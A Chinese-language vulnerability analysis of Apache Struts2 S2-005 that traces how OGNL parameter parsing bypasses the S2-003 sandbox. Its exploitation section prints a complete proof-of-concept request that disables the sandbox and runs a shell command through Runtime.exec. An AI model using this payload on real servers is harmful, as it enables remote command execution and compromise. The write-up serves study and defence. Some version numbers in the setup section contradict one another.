Struts2-005远程代码执行漏洞分析
[出自:jiwo.org]
一、漏洞信息
官方链接:https://cwiki.apache.org/confluence/display/WW/S2-005
官方概述:XWork ParameterInterceptors bypass allows remote command execution
影响版本:Struts 2.0.0 - Struts 2.1.8.1
修复摘要:Developers should immediately upgrade to Struts 2.2.1 or read the following solution instructions carefully for a configuration change to mitigate the vulnerability
二、漏洞原理
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003。
三、环境搭建
下载 Struts2.0.11.2:http://archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip
目录结构
引用的包:
commons-fileupload-1.2.1.jar
commons-logging-1.0.4.jar
freemarker-2.3.15.jar
ognl-2.7.3.jar
struts2-core-2.1.8.1.jar
xwork-2.0.5.jar
index.jsp
welcome.jsp
struts.xml
com.demo.action.LoginAction.java
web.xml
四、漏洞分析
首先我们来看看官方是如何修补的s2-003呢?它是新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAcces和MethodAccessor.denyMethodExecution)
所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。
xwork.MethodAccessor.denyMethodExecution设置为falseallowStaticMethodAccess设置为true
这样就可以关闭掉沙盒机制,unicode编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置,接下来我们可以看看具体漏洞分析的过程
这里还是在Tomcat6环境下进行分析。
和S2-003大体相同,在xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中断点调试
跟进setParameters,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack,可以看出在Ognl中,值栈(ValueStack)的实现类是OgnlValueStack
发现在里面封装了一个setValue类,跟入ognlUtil.setValue,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil中,这里又封装了一遍setValue类,最终调用了Ognl中的setValue方法
可以看到其中的compile方法,会将传来的字符串进行解析,而name值就是我们传递过来的参数值,跟进compile方法
跟进parseExpression,这里从topLevelExpression开始对语法书进行解析,进入到ognl-2.7.3.jar!ognl/OgnlParser中的expression()进行解析,可以看到,最后将结果保存到值栈中,\u0023被解析成#
然后将解析的结果return回去
五、漏洞利用
http://localhost:1111/login.action?
(‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\
’]\u003dfalse’)(bla)(bla)&
(‘\u0023_memberAccess.allowStaticMethodAccess\u003dtrue’)
(bla)(bla)&
(‘\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET’)(kxlzx)(kxlzx)&
(‘\u0023mycmd\u003d\’ifconfig\’’)(bla)(bla)&
(‘\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)’)(bla)(bla)&(A)
((‘\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())’)(bla))&(B)
((‘\u0023myres\u003dnew\40byte[51020]’)(bla))&(C)((‘\u0023mydat.readFully(\u0023myres)’)(bla))&(D)
((‘\u0023mystr\u003dnew\40java.lang.String(\u0023myres)’)(bla))&
(‘\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()’)(bla)(bla)&(E)
((‘\u0023myout.getWriter().println(\u0023mystr)’)(bla(bla)(bla)&
(‘%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue’)(bla)(bla)&
(‘%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET’)(kxlzx)(kxlzx)&
(‘%5Cu0023mycmd%5Cu003d%5C’ifconfig%5C’’)(bla)(bla)&(‘%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime().exec(%5Cu0023mycmd)’)
(bla)(bla)&(A)((‘%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream(%5Cu0023myret.getInputStream())’)(bla))&
(B)((‘%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D’)(bla))&(C)((‘%5Cu0023mydat.readFully(%5Cu0023myres)’)(bla))&
(D)((‘%5Cu0023mystr%5Cu003dnew%5C40java.lang.String(%5Cu0023myres)’)(bla))&
(‘%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse()’)(bla)(bla)&(E)
((‘%5Cu0023myout.getWriter().println(%5Cu0023mystr)’)(bla)))
参考链接
https://cwiki.apache.org/confluence/display/WW/S2-005
https://blog.csdn.net/u011721501/article/details/41626959
https://xz.aliyun.com/t/2323